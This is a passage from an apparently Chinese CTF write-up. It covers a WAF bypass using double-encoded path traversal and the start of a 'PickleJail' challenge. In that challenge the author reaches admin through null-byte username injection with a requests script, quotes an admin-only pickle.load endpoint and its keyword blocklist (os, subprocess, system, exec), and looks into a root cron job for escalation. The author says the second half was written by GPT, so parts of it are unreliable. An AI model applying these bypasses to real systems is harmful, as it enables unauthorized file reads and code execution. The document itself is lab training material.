
rror: Object type does not match (Directory).说明存在这个目录根据线索“hidden snapshot namespace”尝试隐藏目录命名风格../private/.snapshot/双重编码后请求/article?id%252e%252e%252fprivate%252f.snapshot%252f返回Error: Object type does not match (Directory).这再次说明目录存在。到这里路径已经基本确定../private/.snapshot/而隐藏文档中明确说内部 package label 是node_flag.txt所以最终目标文件路径应为../private/.snapshot/node_flag.txt由于需要绕过 WAF路径中的../和/使用双重编码%252e%252e%252fprivate%252f.snapshot%252fnode_flag.txt最终paylaod/article?id%252e%252e%252fprivate%252f.snapshot%252fnode_flag.txtPickleJail一个内部图床平台整合了用户账号、文件处理与维护功能。流程中隐藏的信任假设可能暴露服务器敏感数据请分析系统并获取 flag。本题复现到一般结果复现环境无了后半段纯gpt这个题名指向性挺明确的先登录看看(注意到点击登录时候用户名会被编码一闪而过base64)本页面用于在测试环境中注册图片和参考材料。提交后,系统将生成一个访问路径,以供后续审核和验证。上传文件试试服务端返回一个预览链接/pic?pic文件名试了试没啥用换个方向拿admin权限回到登录界面看一眼源代码script function base64encodeform(){ document.getElementById(username).valuebtoa(unescape(encodeURIComponent(document.getElementById(username).value))); document.getElementById(password).valuebtoa(unescape(encodeURIComponent(document.getElementById(password).value))); return true; } /script果然是base64所以我们的一些特殊字符也可以被正常传入后端admin\x00admin\x00adminimport requests, base64 basehttp://36.213.142.102:24059 enclambda s: base64.b64encode(s.encode()).decode() uadmin\x00admin\x00admin paaa srequests.Session() print(s.post(base/register, data{ username: enc(u), password: enc(p) }).text) print(s.post(base/login, data{ username: enc(admin), password: enc(p) }).text)拿到 admin 后通过文件读取把源码拉出来发现/pic的核心逻辑是app.route(/pic) def pic(): if (pic:request.args.get(pic)) and os.path.isfile(filepath:f./files/uploads/{pic}): if session.get(username)badmin: return pickle.load(open(filepath,rb)) else: return fimg srcdata:image/png;base64,{base64.b64encode(open(filepath,rb).read()).decode()}{open(filepath,r).read()[:5000]}同时上传过滤并不是“只允许图片”而是一个很短的黑名单if len(content)60: return False for b in [b\n,b\r,b\\,bbase,bbuiltin,bcode,bcommand,beval,bexec, bflag,bflask,bglobal,bos,boutput,bpopen,bpty,brepeat, brun,bsetstate,bspawn,bsubprocess,bsys,bsystem,btimeit]: if b in content: return False这不是简单文件上传而是管理员专属不安全反序列化。一旦我是 admin上传文件再访问/pic本质上就是让服务端对我给的任意字节做pickle.load。可是我们直接去读/flag会报错但读普通系统文件完全没问题。继续读取/start.sh后发现flag_value${FLAG:-flag{local_test_flag}} printf %s\n $flag_value /flag chown root:root /flag chmod 700 /flag unset FLAG unset flag_value cron exec sudo -u ctf python3 /app/app.py这说明真实 flag 被写入/flag后立刻设成root:root 700而 Flask 应用最终是以ctf用户运行的。再往下读/etc/cron.d/cleanup发现 root 每分钟会执行一次* * * * * root /opt/cleanup.sh而/opt/cleanup.sh初始内容只是#!/bin/sh exit 0